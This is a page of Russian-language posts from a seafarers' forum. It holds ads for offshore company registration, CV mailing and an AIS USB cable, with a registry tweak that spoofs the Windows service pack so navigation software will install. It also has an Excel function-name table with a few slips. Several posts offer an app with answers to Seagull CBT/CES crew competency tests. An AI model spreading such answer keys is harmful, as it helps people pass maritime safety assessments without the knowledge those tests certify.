Моряки Одессы - лучшие товары для моряков!

Юридические услуги

jeremisa — Thu, 14 Mar 2024 16:35:26 GMT

Позвольте представить Вашему вниманию юридическую фирму UA-OFFSHORE - мы специализируемся на оказании услуг по регистрации и управлению офшорных и офшорных компаний и оптимизации налогообложения в различных юрисдикциях мира. Наша фирмы оказывает широкий спектр услуг для состоятельных частных и институциональных клиентов: - Регистрации и управление офшорных и офшорных компаний в таких юрисдикциях, как: Швейцария, Австрия, Великобритания, Кипр, Гонконг, Сингапур, Сейшелы, Панама, БВО и другие. - Помощь при открытии личных и корпоративных счетов в Банках Швейцарии и других стран - Налоговое планирование https://www.ua-offshore.com

Бесплатное размещение обьявления Аренда/Покупка/Продажа недвижимости В Одессе и Облласти.

chibis — Mon, 14 Nov 2022 09:57:12 GMT

Бесплатное добавление обьявлений аренды и купли/продажи недвижимости в Одессе и Области.

https://t.me/nedvigemost_odessa

Помощник моряка для быстрого ухода в рейс

marinehelpercom — Mon, 06 Dec 2021 14:23:30 GMT

Уважаемые моряки, не тратьте своё время и деньги на непрофессиональную или самостоятельную рассылку , которая не приносит результатов по ряду причин: 1) Все почтовые службы имеют жёсткие ограничения на количество отправленных сообщений, и уж тем более с одинаковым содержанием. 2) Письма не доходят до потенциального работодателя, поскольку отправляются через неавторитетный источник и попадают под спам фильтры, которые становятся всё жестче и умнее. Доверьте доставку Вашей анкеты профессионалам. Сервис MarineHelper.com предлагает: Открытый список компаний получателей; Отчёт об рассылке в виде: ( 1. e-mail адрес получателя 2. статус отправки 3. дата и время ) ; Гарантию доставки получателю Не упустите свой шанс! Цены от 200 грн. 3 из 10 моряков трудоустроились уже после первой рассылки. 10 из 10 получают звонки от заинтересованных компаний. Подробнее на сайте: https://marinehelper.com/ Или звоните по телефонам: +38 (063) 392-99-19 +38 (066) 392-99-12 +38 (067) 348-14-60 c 10-00 до 19-00

Шпаргалка Seagull Версия: 7.2.1 последнее обновление 2021год

chibis — Fri, 22 Jan 2021 10:34:38 GMT

Электронная шпаргалка по тестам Seagull: CBT (Computer Based Training) и CES (Crew Evaluation System).

Описание:
CBT курсы: 462
CES вопросы: 10477

Требуется Android: Android 4.1+
Русский интерфейс: Да $CUT$

Разработчик: koldunoff Шпаргалка 7.2.1 Скачать!

Кабель AIS Pilot Plug USB

chibis — Mon, 22 Jul 2019 09:48:15 GMT

Кабель AIS Pilot Plug_USB

Простой и легкий способ соединить судовой AIS с вашим компьютером, ноутбуком, или карманным PC, работающим морскими электронно-картографическими программами, чтобы показать местоположение вашего судна судов вокруг вас. При этом вы получаете информацию об окружающих вас судах (включая позицию судна, его SOG, COG, Heading, ROT, навигационный статус, название судна, Call sign, тип судна, габаритные размеры судна...). $CUT$

Особенности:

Никакого внешнего источника питания.

Длина кабеля: 3 метра.

USB 2.0 (1.0 совместимый).

Протокол передачи данных RS-422

Возможны разные варианты внешнего вида (зависит от

поставок) смотреть фото в верху ( кнопка Изображения ).

Содержание Пакета

Кабель "AIS Pilot Plug_USB”.

Компакт-диск c драйвером на ХР для подключения USB.

Подробная инструкция для подключения к программе Navisailor.

Операция:

Для USB интерфейса:

Подключите кабель "AIS Pilot Plug_USB” к судовому AIS ик USB порту компьютера.

Установите драйвер USB, при первом подключении.

Параметры порта: 38400, n, 8, 1.

100% проверена работа с NS-3000,4000 на Windows XP Service Pack 2,3 , Windows 7, 8, 10

100% проверена работа с MAXSEA TIME ZERO на Windows 8.0, 8.1

100% проверена работа с активными USB удлинителями Alfa AUSBC-5M,10M

Внимание сделать обязательно!

Если по каким либо причинам когда вы пытаетесь установить NAVISAILOR на ваш компьютер с установленным на нём операционной системой XP Service Pack 3 программа не хочет устанавливаться обязательно нужно откатить вашу систему на Service Pack 2 или переустановить Windows! Как сделать так чтобы систему не сносить и не переустанавливать Есть ещё один вариант Читайте дальше:

1: Нажмите "Пуск" --> "Выполнить" и введите "regedit"
2: Найдите ветку "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows"
3: Поменяйте значение параметра "CSDVersion" с "0x00000300" (SP3) на "0x00000200"
4: Закройте реестр
5: Перезагрузите компьютер

После этой процедуры у вас будет стоять Service Pack 2 после установки программы Navisailor верните обратно параметр для Service Pack 3 "0x00000300" . Всё очень легко и просто обойти всю систему.

Также при установке Драйвера или Морских карт возможно при установке понадобится поставить режим совмещения на вашем копьютере с Windows XP или Windows 98.

Настройка портов на NaviSailor 3000 при подключении AIS Pilot Plug USB.

Контактная информация и заказ товара по Одессе , Украине и России

Цена 110$

Заказ только по телефону

Телефоны: +38 (050) 652-45-57, МТС
+38 (067) 172-75-42, Киевстар

Шпаргалка версия 7.0 (SEAGULL) последнее обновление 2019года

chibis — Mon, 22 Jul 2019 09:13:53 GMT

Последнее обновление программы Шпаргалка Версии 7.0

для смартфона: скачиваете программу и устанавливаете в ваш смартфон.

СBT курсы 433 ответ

CES ответы на вопросы 10477 $CUT$

Имя файла: SEAGUL ШПАРГАЛКА 7.0.rar

Размер файла: 22.61 MB. rar

ССЫЛКА ДЛЯ СКАЧИВАНИЯ http://depositfiles.com/files/6zvhf89qv

Вышла новая версия SEAGUL 7.2.1 СКАЧАТЬ SEAGUL 7.2.1

Если вдруг ссылку заблокируют пишите в комментариях перезалью!

Расшифровка абривиатура английских и русских формул в Excel

chibis — Tue, 27 Nov 2018 12:46:31 GMT

Когда-то довольно давно я совсем не знал, какой замечательной вещью является MS Excel. Но начало работы в финансовом департаменте компании Coca-Cola устранил этот недостаток, а моё желание оптимизировать всё, что под руку попадётся ещё больше, способствовало развитию знаний и навыков в этом программном продукте.

Но с некоторых пор, я начал сталкиваться с проблемой при консультациях своих коллег. Дело в том, что я знаю первоначальные варианты названия формул, то есть английские. А большинство коллег пользуется русской версией MS Excel. Проблема состояла в том, что большинство функций в русском Excel называется совершенно не так, как в английском. В результате этого коллегам я помочь не мог.

Вариант налабать формулы в своей английской версии, и отдать файл человеку с русским Excel $CUT$конечно тоже имеет право на жизнь, но он не всегда удобен.

Поэтому я решил найти соответствие русских формул английским в Excel, а также английских русским. В принципе список изначально был один, но при помощи этого же MS Excel можно сделать как прямое, так и обратное соответствие английских формул русским

Соответствие английских и русских формул в Excel

Функции баз данных – Database
DAVERAGE	ДСРЗНАЧ	Вычисляет среднее значение выбранных записей базы данных.
DCOUNT	БСЧЁТ	Подсчитывает количество числовых ячеек в базе данных.
DCOUNTA	БСЧЁТА	Подсчитывает количество непустых ячеек в базе данных.
DGET	БИЗВЛЕЧЬ	Извлекает из базы данных одну запись, удовлетворяющую заданному условию.
DMAX	ДМАКС	Находит максимальное значение среди выделенных записей базы данных.
DMIN	ДМИН	Находит минимальное значение среди выделенных записей базы данных.
DPRODUCT	БДПРОИЗВЕД	Перемножает значения определенного поля в записях базы данных, удовлетворяющих условию.
DSTDEV	ДСТАНДОТКЛ	Оценивает стандартное отклонение по выборке из выделенных записей базы данных.
DSTDEVP	ДСТАНДОТКЛП	Вычисляет стандартное отклонение по генеральной совокупности из выделенных записей базы данных.
DSUM	БДСУММ	Суммирует числа в поле для записей базы данных, удовлетворяющих условию.
DVAR	БДДИСП	Оценивает дисперсию по выборке из выделенных записей базы данных
DVARP	БДДИСПП	Вычисляет дисперсию по генеральной совокупности из выделенных записей базы данных.

Функции даты и времени – Date & Time
DATE	ДАТА	Возвращает заданную дату в числовом формате Microsoft Excel.
DATEVALUE	ДАТАЗНАЧ	Преобразует дату из текстового формата в числовой.
DAY	ДЕНЬ	Преобразует дату в числовом формате в день месяца.
DAYS360	ДНЕЙ360	Вычисляет количество дней между двумя датами на основе 360-дневного года.
EDATE	ДАТАМЕС	Находит дату, отстоящую на заданное число месяцев вперед или назад от начальной даты.
EOMONTH	КОНМЕСЯЦА	Определяет дату для последнего дня месяца, отстоящего вперед или назад на заданное число месяцев.
HOUR	ЧАС	Преобразует дату в числовом формате в часы.
MINUTE	МИНУТЫ	Преобразует дату в числовом формате в минуты.
MONTH	МЕСЯЦ	Преобразует дату в числовом формате в месяцы.
NETWORKDAYS	ЧИСТРАБДНИ	Находит количество рабочих дней между двумя датами.
NOW	ТДАТА	Выдает текущую дату и время.
SECOND	СЕКУНДЫ	Преобразует дату в числовом формате в секунды.
TIME	ВРЕМЯ	Выдает заданное время в числовом формате.
TIMEVALUE	ВРЕМЗНАЧ	Преобразует время из текстового формата в числовой формат.
TODAY	СЕГОДНЯ	Выдает текущую дату.
WEEKDAY	ДЕНЬНЕД	Преобразует дату в числовом формате в день недели.
WEEKNUM	НОМНЕДЕЛИ	Определяет номер рабочей недели года для указанной даты.
WORKDAY	РАБДЕНЬ	Находит дату, отстоящую от данной на заданное количество рабочих дней.
YEAR	ГОД	Находит год для заданной даты.
YEARFRAC	ДОЛЯГОДА	Возвращает долю года, которую составляет количество дней между начальной и конечной датами.
Инженерные функции – Engineering
BESSELI	БЕССЕЛЬ.I	Возвращает модифицированную функцию Бесселя In(x).
BESSELJ	БЕССЕЛЬ.J	Возвращает функцию Бесселя Jn(x).
BESSELK	БЕССЕЛЬ.K	Возвращает модифицированную функцию Бесселя Kn(x).
BESSELY	БЕССЕЛЬ.Y	Возвращает функцию Бесселя Yn(x).
BIN2DEC	ДВ.В.ДЕС	Преобразует двоичное число в десятичное.
BIN2HEX	ДВ.В.ШЕСТН	Преобразует двоичное число в шестнадцатеричное.
BIN2OCT	ДВ.В.ВОСЬМ	Преобразует двоичное число в восьмеричное.
COMPLEX	КОМПЛЕКСН	Преобразует коэффициенты при вещественной и мнимой частях комплексного числа в комплексное число.
CONVERT	ПРЕОБР	Преобразует число из одной системы мер в другую.
DEC2BIN	ДЕС.В.ДВ	Преобразует десятичное число в двоичное.
DEC2HEX	ДЕС.В.ШЕСТН	Преобразует десятичное число в шестнадцатеричное.
DEC2OCT	ДЕС.В.ВОСЬМ	Преобразует десятичное число в восьмеричное.
DELTA	ДЕЛЬТА	Проверяет равенство двух значений.
ERF	ФОШ	Возвращает функцию ошибки.
ERFC	ДФОШ	Возвращает дополнительную функцию ошибки.
FACTDOUBLE	ДВФАКТР	Вычисляет двойной факториал числа.
GESTEP	ПОРОГ	Проверяет, не превышает ли данное число порогового значения.
HEX2BIN	ШЕСТН.В.ДВ	Преобразует шестнадцатеричное число в двоичное.
HEX2DEC	ШЕСТН.В.ДЕС	Преобразует шестнадцатеричное число в десятичное.
HEX2OCT	ШЕСТН.В.ВОСЬМ	Преобразует шестнадцатеричное число в восьмеричное.
IMABS	МНИМ.ABS	Возвращает абсолютную величину (модуль) комплексного числа.
IMAGINARY	МНИМ.ЧАСТЬ	Возвращает коэффициент при мнимой части комплексного числа.
IMARGUMENT	МНИМ.АРГУМЕНТ	Возвращает значение аргумента комплексного числа (тета) – угол, выраженный в радианах.
IMCONJUGATE	МНИМ.СОПРЯЖ	Возвращает комплексно-сопряженное комплексное число.
IMCOS	МНИМ.COS	Возвращает косинус комплексного числа.
IMDIV	МНИМ.ДЕЛ	Возвращает частное от деления двух комплексных чисел.
IMEXP	МНИМ.EXP	Возвращает экспоненту комплексного числа.
IMLN	МНИМ.LN	Возвращает натуральный логарифм комплексного числа.
IMLOG10	МНИМ.LOG10	Возвращает обычный (десятичный) логарифм комплексного числа.
IMLOG2	МНИМ.LOG2	Возвращает двоичный логарифм комплексного числа.
IMPOWER	МНИМ.СТЕПЕНЬ	Возвращает комплексное число, возведенное в целую степень.
IMPRODUCT	МНИМ.ПРОИЗВЕД	Возвращает произведение двух комплексных чисел.
IMREAL	МНИМ.ВЕЩ	Возвращает коэффициент при вещественной части комплексного числа.
IMSIN	МНИМ.SIN	Возвращает синус комплексного числа.
IMSQRT	МНИМ.КОРЕНЬ	Возвращает значение квадратного корня из комплексного числа.
IMSUB	МНИМ.РАЗН	Возвращает разность двух комплексных чисел.
IMSUM	МНИМ.СУММ	Возвращает сумму комплексных чисел.
OCT2BIN	ВОСЬМ.В.ДВ	Преобразует восьмеричное число в двоичное.
OCT2DEC	ВОСЬМ.В.ДЕС	Преобразует восьмеричное число в десятичное.
OCT2HEX	ВОСЬМ.В.ШЕСТН	Преобразует восьмеричное число в шестнадцатеричное.
Финансовые функции – Financial
ACCRINT	НАКОПДОХОД	Определяет накопленный доход по ценным бумагам с периодической выплатой процентов.
ACCRINTM	НАКОПДОХОДПОГАШ	Находит накопленный доход по ценным бумагам, процент по которым выплачивается в срок вступления в силу.
AMORDEGRC	АМОРУМ	Вычисляет величину амортизации для каждого периода, используя коэффициент амортизации (французская система бухучета).
AMORLINC	АМОРУВ	Вычисляет величину амортизации для каждого отчетного периода (французская система бухучета).
COUPDAYBS	ДНЕЙКУПОНДО	Определяет количество дней между началом периода купона и датой соглашения.
COUPDAYS	ДНЕЙКУПОН	Определяет число дней в периоде купона, который содержит дату соглашения.
COUPDAYSNC	ДНЕЙКУПОНПОСЛЕ	Находит число дней от даты соглашения до срока следующего купона.
COUPNCD	ДАТАКУПОНПОСЛЕ	Находит следующую дату купона после даты соглашения.
COUPNUM	ЧИСЛКУПОН	Определяет количество купонов, которые могут быть оплачены между датой соглашения и сроком вступления в силу.
COUPPCD	ДАТАКУПОНДО	Выдает предыдущую дату купона перед датой соглашения.
CUMIPMT	ОБЩПЛАТ	Вычисляет общую выплату, произведенную между двумя периодическими выплатами.
CUMPRINC	ОБЩДОХОД	Вычисляет общую выплату по займу между двумя периодами.
DB	ФУО	Вычисляет амортизацию имущества на заданный период, используя метод постоянного учета амортизации.
DDB	ДДОБ	Вычисляет величину амортизации имущества для указанного периода при использовании метода двукратного учета амортизации или иного явно указанного метода.
DISC	СКИДКА	Вычисляет норму скидки для ценных бумаг.
DOLLARDE	РУБЛЬ.ДЕС	Преобразует цену в рублях, выраженную в виде дроби, в цену в рублях, выраженную десятичным числом.
DOLLARFR	РУБЛЬ.ДРОБЬ	Преобразует цену в рублях, выраженную десятичным числом, в цену в рублях, выраженную в виде дроби.
DURATION	ДЛИТ	Находит ежегодную продолжительность действия ценных бумаг с периодическими выплатами по процентам.
EFFECT	ЭФФЕКТ	Вычисляет действующие ежегодные процентные ставки.
FV	БС	Вычисляет будущее значение вклада.
FVSCHEDULE	БЗРАСПИС	Вычисляет будущее значение начального вклада при изменяющихся сложных процентных ставках.
INTRATE	ИНОРМА	Определяет ставку доходности полностью обеспеченной ценной бумаги.
IMPT	ПРПЛТ	Вычисляет величину выплаты прибыли на вложения за данный период.
IRR	ВСД	Вычисляет внутреннюю ставку доходности (отдачи) для серии потоков денежных средств.
ISPMT	ПРОЦПЛАТ	Вычисляет выплаты за указанный период инвестиции.
MDURATION	МДЛИТ	Определяет модифицированную длительность Маколея для ценных бумаг с предполагаемой номинальной стоимостью 100 рублей.
MIRR	МВСД	Определяет внутреннюю ставку доходности, при которой положительные и отрицательные денежные потоки имеют разную ставку.
NOMINAL	НОМИНАЛ	Определяет номинальную годовую процентную ставку.
NPER	КПЕР	Определяет общее количество периодов выплаты для данной ссуды.
NPV	ЧПС	Вычисляет чистую приведенную стоимость инвестиции, основанной на серии периодических денежных потоков и ставке дисконтирования.
ODDPRICE	ЦЕНАПЕРВНЕРЕГ	Находит цену за 100 рублей нарицательной стоимости ценных бумаг с нерегулярным первым периодом.
ODDFYIELD	ДОХОДПЕРВНЕРЕГ	Находит доход по ценным бумагам с нерегулярным первым периодом.
ODDLPRICE	ЦЕНАПОСЛНЕРЕГ	Определяет цену за 100 рублей нарицательной стоимости ценных бумаг с нерегулярным последним периодом.
ODDFYIELD	ДОХОДПОСЛНЕРЕГ	Определяет доход по ценным бумагам с нерегулярным последним периодом.
PMT	ПЛТ	Вычисляет величину выплаты по ссуде за один период.
PPMT	ОСПЛТ	Вычисляет величину выплат на основной капитал для вклада в заданный период.
PRICE	ЦЕНА	Вычисляет цену за 100 рублей нарицательной стоимости ценных бумаг, по которым производится периодическая выплата процентов.
PRICEDISC	ЦЕНАСКИДКА	Вычисляет цену за 100 рублей нарицательной стоимости ценных бумаг, на которые сделана скидка.
PRICEMAT	ЦЕНАПОГАШ	Вычисляет цену за 100 рублей нарицательной стоимости ценных бумаг, по которым выплачивается прибыль в момент вступления в силу.
PV	ПС	Вычисляет приведенную (к настоящему моменту) стоимость инвестиции.
RATE	СТАВКА	Вычисляет процентную ставку по аннуитету за один период.
RECEIVED	ПОЛУЧЕНО	Вычисляет сумму, полученную в срок вступления в силу полностью обеспеченных ценных бумаг.
SLN	АПЛ	Вычисляет величину непосредственной амортизации имущества за один период.
SYD	АСЧ
TBILLEQ	РАВНОКЧЕК	Вычисляет эквивалентный облигации доход по казначейскому чеку.
TBILLPRICE	ЦЕНАКЧЕК	Вычисляет цену за 100 рублей нарицательной стоимости для казначейского чека.
TBILLYIELD	ДОХОДКЧЕК	Вычисляет доход по казначейскому чеку.
VDB	ПУО	Вычисляет величину амортизации имущества для явно указанного или соответствующего периода при использовании метода разового учета амортизации.
XIRR	ЧИСТВНДОХ	Вычисляет внутреннюю ставку доходности запланированных непериодических денежных потоков.
XNPV	ЧИСТНЗ	Вычисляет чистую текущую стоимость инвестиции, вычисляемую на основе ряда поступлений наличных, которые не обязательно являются периодическими.
YIELD	ДОХОД	Вычисляет доход от ценных бумаг, по которым производятся периодические выплаты процентов.
YIELDDISC	ДОХОДСКИДКА	Вычисляет годовой доход по ценным бумагам, на которые сделана скидка. Пример – казначейские чеки.
YIELDMAT	ДОХОДПОГАШ	Вычисляет годовой доход от ценных бумаг, процент по которым выплачивается в срок погашения.
Проверка свойств и значений и Информационные функции – Information
CELL	ЯЧЕЙКА	Определяет информацию о формате, местоположении или содержимом ячейки.
ERROR.TYPE	ТИП.ОШИБКИ	Определяет номер, соответствующий одному из типов ошибок Microsoft Excel.
INFO	ИНФОРМ	Выдает информацию о текущей операционной среде.
ISBLANK	ЕПУСТО	Выдает логическое значение ИСТИНА, если аргумент является ссылкой на пустую ячейку.
ISERR	ЕОШ	Выдает логическое значение ИСТИНА, если аргумент ссылается на любое значение ошибки, кроме #Н/Д.
ISERROR	ЕОШИБКА	Выдает логическое значение ИСТИНА, если аргумент ссылается на любое значение ошибки.
ISEVEN	ЕЧЁТН	Выдает логическое значение ИСТИНА, если аргумент – четное число.
ISLOGICAL	ЕЛОГИЧ	Выдает логическое значение ИСТИНА, если аргумент ссылается на логическое значение.
ISNA	ЕНД	Выдает логическое значение ИСТИНА, если аргумент ссылается на значение ошибки #Н/Д (значение недоступно).
ISNONTEXT	ЕНЕТЕКСТ	Выдает логическое значение ИСТИНА, если аргумент ссылается на значение, которое не является текстом.
ISNUMBER	ЕЧИСЛО	Выдает логическое значение ИСТИНА, если аргумент ссылается на число.
ISODD	ЕНЕЧЁТ	Выдает логическое значение ИСТИНА, если аргумент – нечетное число.
ISREF	ЕССЫЛКА	Выдает логическое значение ИСТИНА, если аргумент ссылается на ссылку.
ISTEXT	ЕТЕКСТ	Выдает логическое значение ИСТИНА, если аргумент ссылается на текст.
N	Ч	Преобразует заданное значение в число.
NA	НД	Выдает значение ошибки #Н/Д.
TYPE	ТИП	Выдает тип значения.
Логические функции – Logical
AND	И	Выдает значение ИСТИНА, если все аргументы имеют значение ИСТИНА.
FALSE	ЛОЖЬ	Вставляет логическое значение ЛОЖЬ.
IF	ЕСЛИ	Выполняет проверку условия.
NOT	НЕ	Меняет на противоположное логическое значение своего аргумента.
OR	ИЛИ	Выдает значение ИСТИНА, если хотя бы один аргумент имеет значение ИСТИНА.
TRUE	ИСТИНА	Вставляет логическое значение ИСТИНА.
Ссылки и массивы – Lookup & Reference
ADDRESS	АДРЕС	Выдает ссылку на отдельную ячейку рабочего листа в виде текста.
AREAS	ОБЛАСТИ	Определяет количество областей в ссылке.
CHOOSE	ВЫБОР	Выбирает значение из списка значений по индексу.
COLUMN	СТОЛБЕЦ	Определяет номер столбца, на который указывает ссылка.
COLUMNS	ЧИСЛСТОЛБ	Определяет количество столбцов в массиве или ссылке.
GETPIVOTDATA	ПОЛУЧИТЬ.ДАННЫЕ.СВОДНОЙ.ТАБЛИЦЫ	Возвращает данные, хранящиеся в сводной таблице.
HLOOKUP	ГПР	Ищет значение в первой строке массива и выдает значение из ячейки в найденном столбце и указанной строке.
HYPERLINK	ГИПЕРССЫЛКА	Создает ссылку, открывающую документ, находящийся на жестком диске, сервере сети или в Интернете.
INDEX	ИНДЕКС	По индексу получает значение из ссылки или массива.
INDIRECT	ДВССЫЛ	Определяет ссылку, заданную текстовым значением.
LOOKUP	ПРОСМОТР	Ищет значения в векторе или массиве.
MATCH	ПОИСКПОЗ	Ищет значения в ссылке или массиве.
OFFSET	СМЕЩ	Определяет смещение ссылки относительно заданной ссылки.
ROW	СТРОКА	Определяет номер строки, определяемой ссылкой.
ROWS	ЧСТРОК	Определяет количество строк в ссылке.
RTD	ДРВ	Извлекает данные реального времени из программ, поддерживающих автоматизацию COM.
TRANSPOSE	ТРАНСП	Выдает транспонированный массив.
VLOOKUP	ВПР	Ищет значение в первом столбце массива и выдает значение из ячейки в найденной строке и указанном столбце.
Математические и тригонометрические функции – Math & Trig
ABS	ABS	Находит модуль (абсолютную величину) числа.
ACOS	ACOS	Вычисляет арккосинус числа.
ACOSH	ACOSH	Вычисляет гиперболический арккосинус числа.
ASIN	ASIN	Вычисляет арксинус числа.
ASINH	ASINH	Вычисляет гиперболический арксинус числа.
ATAN	ATAN	Вычисляет арктангенс числа.
ATAN2	ATAN2	Вычисляет арктангенс для заданных координат x и y.
ATANH	ATANH	Вычисляет гиперболический арктангенс числа.
CEILING	ОКРВВЕРХ	Округляет число до ближайшего целого или до ближайшего кратного указанному значению.
COMBIN	ЧИСЛКОМБ	Находит количество комбинаций для заданного числа объектов.
COS	COS	Вычисляет косинус числа.
COSH	COSH	Вычисляет гиперболический косинус числа.
DEGREES	ГРАДУСЫ	Преобразует радианы в градусы.
EVEN	ЧЁТН	Округляет число до ближайшего четного целого.
EXP	EXP	Вычисляет число e, возведенное в указанную степень.
FACT	ФАКТР	Вычисляет факториал числа.
FLOOR	ОКРВНИЗ	Округляет число до ближайшего меньшего по модулю целого.
GCD	НОД	Находит наибольший общий делитель.
INT	ЦЕЛОЕ	Округляет число до ближайшего меньшего целого.
LCM	НОК	Находит наименьшее общее кратное.
LN	LN	Вычисляет натуральный логарифм числа.
LOG	LOG	Вычисляет логарифм числа по заданному основанию.
LOG10	LOG10	Вычисляет десятичный логарифм числа.
MDETERM	МОПРЕД	Вычисляет определитель матрицы, хранящейся в массиве.
MINVERSE	МОБР	Определяет обратную матрицу (матрица хранится в массиве).
MMULT	МУМНОЖ	Вычисляет произведение матриц, хранящихся в массивах.
MOD	ОСТАТ	Вычисляет остаток от деления.
MROUND	ОКРУГЛТ	Находит число, округленное с требуемой точностью.
MULTINOMIAL	МУЛЬТИНОМ	Вычисляет мультиномиальный коэффициент множества чисел.
ODD	НЕЧЁТ	Округляет число до ближайшего нечетного целого.
PI	ПИ	Вставляет число “пи”.
POWER	СТЕПЕНЬ	Вычисляет результат возведения числа в степень.
PRODUCT	ПРОИЗВЕД	Вычисляет произведение аргументов.
QUOTIENT	ЧАСТНОЕ	Вычисляет целую часть частного при делении.
RADIANS	РАДИАНЫ	Преобразует градусы в радианы.
RAND	СЛЧИС	Выдает случайное число в интервале от 0 до 1.
RANDBETWEEN	СЛУЧМЕЖДУ	Выдает случайное число в заданном интервале.
ROMAN	РИМСКОЕ	Преобразует число в арабской записи к числу в римской как текст.
ROUND	ОКРУГЛ	Округляет число до указанного количества десятичных разрядов.
ROUNDDOWN	ОКРУГЛВНИЗ	Округляет число до ближайшего меньшего по модулю целого.
ROUNDUP	ОКРУГЛВВЕРХ	Округляет число до ближайшего по модулю большего целого.
SERIESSUM	РЯД.СУММ	Вычисляет сумму степенного ряда по заданной формуле.
SIGN	ЗНАК	Определяет знак числа.
SIN	SIN	Вычисляет синус заданного угла.
SINH	SINH	Вычисляет гиперболический синус числа.
SQRT	КОРЕНЬ	Вычисляет положительное значение квадратного корня.
SQRTPI	КОРЕНЬПИ	Вычисляет значение квадратного корня из числа “пи”.
SUBTOTAL	ПРОМЕЖУТОЧНЫЕ.ИТОГИ	Вычисляет промежуточные итоги.
SUM	СУММ	Суммирует аргументы.
SUMIF	СУММЕСЛИ	Суммирует ячейки, удовлетворяющие заданному условию.
SUMPRODUCT	СУММПРОИЗВ	Вычисляет сумму произведений соответствующих элементов массивов.
SUMSQ	СУММКВ	Вычисляет сумму квадратов аргументов.
SUMX2MY2	СУММРАЗНКВ	Вычисляет сумму разностей квадратов соответствующих значений в двух массивах.
SUMX2PY2	СУММСУММКВ	Вычисляет сумму сумм квадратов соответствующих элементов двух массивов.
SUMXMY2	СУММКВРАЗН	Вычисляет сумму квадратов разностей соответствующих значений в двух массивах.
TAN	TAN	Вычисляет тангенс числа.
TANH	TANH	Вычисляет гиперболический тангенс числа.
TRUNC	ОТБР	Отбрасывает дробную часть числа.
Статистические функции – Statistical
AVEDEV	СРОТКЛ	Вычисляет среднее абсолютных значений отклонений точек данных от среднего.
AVERAGE	СРЗНАЧ	Вычисляет среднее арифметическое аргументов.
AVERAGEA	СРЗНАЧА	Вычисляет среднее арифметическое аргументов, включая числа, текст и логические значения.
BETADIST	БЕТАРАСП	Определяет интегральную функцию плотности бета-вероятности.
BETAINV	БЕТАОБР	Определяет обратную функцию к интегральной функции плотности бета-вероятности.
BINOMDIST	БИНОМРАСП	Вычисляет отдельное значение биномиального распределения.
CHIDIST	ХИ2РАСП	Вычисляет одностороннюю вероятность распределения хи-квадрат.
CHIINV	ХИ2ОБР	Вычисляет обратное значение односторонней вероятности распределения хи-квадрат.
CHITEST	ХИ2ТЕСТ	Определяет тест на независимость.
CONFIDENCE	ДОВЕРИТ	Определяет доверительный интервал для среднего значения по генеральной совокупности.
CORREL	КОРРЕЛ	Находит коэффициент корреляции между двумя множествами данных.
COUNT	СЧЁТ	Подсчитывает количество чисел в списке аргументов.
COUNTA	СЧЁТЗ	Подсчитывает количество значений в списке аргументов.
COUNTBLANK	СЧИТАТЬПУСТОТЫ	Подсчитывает количество пустых ячеек в заданном диапазоне.
COUNTIF	СЧЁТЕСЛИ	Подсчитывает количество непустых ячеек, удовлетворяющих заданному условию внутри диапазона.
COVAR	КОВАР	Определяет ковариацию, то есть среднее произведений отклонений для каждой пары точек.
CRITBINOM	КРИТБИНОМ	Находит наименьшее значение, для которого биномиальная функция распределения меньше или равна заданному значению.
DEVSQ	КВАДРОТКЛ	Вычисляет сумму квадратов отклонений.
EXPONDIST	ЭКСПРАСП	Находит экспоненциальное распределение.
FDIST	FРАСП	Находит F-распределение вероятности.
FINV	FРАСПОБР	Определяет обратное значение для F-распределения вероятности.
FISHER	ФИШЕР	Находит преобразование Фишера.
FISHERINV	ФИШЕРОБР	Находит обратное преобразование Фишера.
FORECAST	ПРЕДСКАЗ	Вычисляет значение линейного тренда.
FREQUENCY	ЧАСТОТА	Находит распределение частот в виде вертикального массива.
FTEST	ФТЕСТ	Определяет результат F-теста.
GAMMADIST	ГАММАРАСП	Находит гамма-распределение.
GAMMAINV	ГАММАОБР	Находит обратное гамма-распределение.
GAMMALN	ГАММАНЛОГ	Вычисляет натуральный логарифм гамма функции.
GEOMEAN	СРГЕОМ	Вычисляет среднее геометрическое.
GROWTH	РОСТ	Вычисляет значения в соответствии с экспоненциальным трендом.
HARMEAN	СРГАРМ	Вычисляет среднее гармоническое.
HYRGEOMDIST	ГИПЕРГЕОМЕТ	Определяет гипергеометрическое распределение.
INTERCEPT	ОТРЕЗОК	Находит отрезок, отсекаемый на оси линией линейной регрессии.
KURT	ЭКСЦЕСС	Определяет эксцесс множества данных.
LARGE	НАИБОЛЬШИЙ	Находит k-ое наибольшее значение из множества данных.
LINEST	ЛИНЕЙН	Находит параметры линейного тренда.
LOGEST	ЛГРФПРИБЛ	Находит параметры экспоненциального тренда.
LOGINV	ЛОГНОРМОБР	Находит обратное логарифмическое нормальное распределение.
LOGNORMDIST	ЛОГНОРМРАСП	Находит интегральное логарифмическое нормальное распределение.
MAX	МАКС	Определяет максимальное значение из списка аргументов.
MAXA	МАКСА	Определяет максимальное значение из списка аргументов, включая числа, текст и логические значения.
MEDIAN	МЕДИАНА	Находит медиану заданных чисел.
MIN	МИН	Определяет минимальное значение из списка аргументов.
MINA	МИНА	Определяет минимальное значение из списка аргументов, включая числа, текст и логические значения.
MODE	МОДА	Определяет значение моды множества данных.
NEGBINOMDIST	ОТРБИНОМРАСП	Находит отрицательное биномиальное распределение.
NORMDIST	НОРМРАСП	Выдает нормальную функцию распределения.
NORMINV	НОРМОБР	Выдает обратное нормальное распределение.
NORMSDIST	НОРМСТРАСП	Выдает стандартное нормальное интегральное распределение.
NORMSINV	НОРМСТОБР	Выдает обратное значение стандартного нормального распределения.
PEARSON	ПИРСОН	Определяет коэффициент корреляции Пирсона.
PERCENTILE	ПЕРСЕНТИЛЬ	Определяет k-ую персентиль для значений из интервала.
PERCENTRANK	ПРОЦЕНТРАНГ	Определяет процентную норму значения в множестве данных.
PERMUT	ПЕРЕСТ	Находит количество перестановок для заданного числа объектов.
POISSON	ПУАССОН	Выдает распределение Пуассона.
PROB	ВЕРОЯТНОСТЬ	Определяет вероятность того, что значение из диапазона находится внутри заданных пределов.
QUARTILE	КВАРТИЛЬ	Определяет квартиль множества данных.
RANK	РАНГ	Определяет ранг числа в списке чисел.
RSQ	КВПИРСОН	Находит квадрат коэффициента корреляции Пирсона.
SKEW	СКОС	Определяет асимметрию распределения.
SLOPE	НАКЛОН	Находит наклон линии линейной регрессии.
SMALL	НАИМЕНЬШИЙ	Находит k-ое наименьшее значение в множестве данных.
STANDARDIZE	НОРМАЛИЗАЦИЯ	Вычисляет нормализованное значение.
STDEV	СТАНДОТКЛОН	Оценивает стандартное отклонение по выборке.
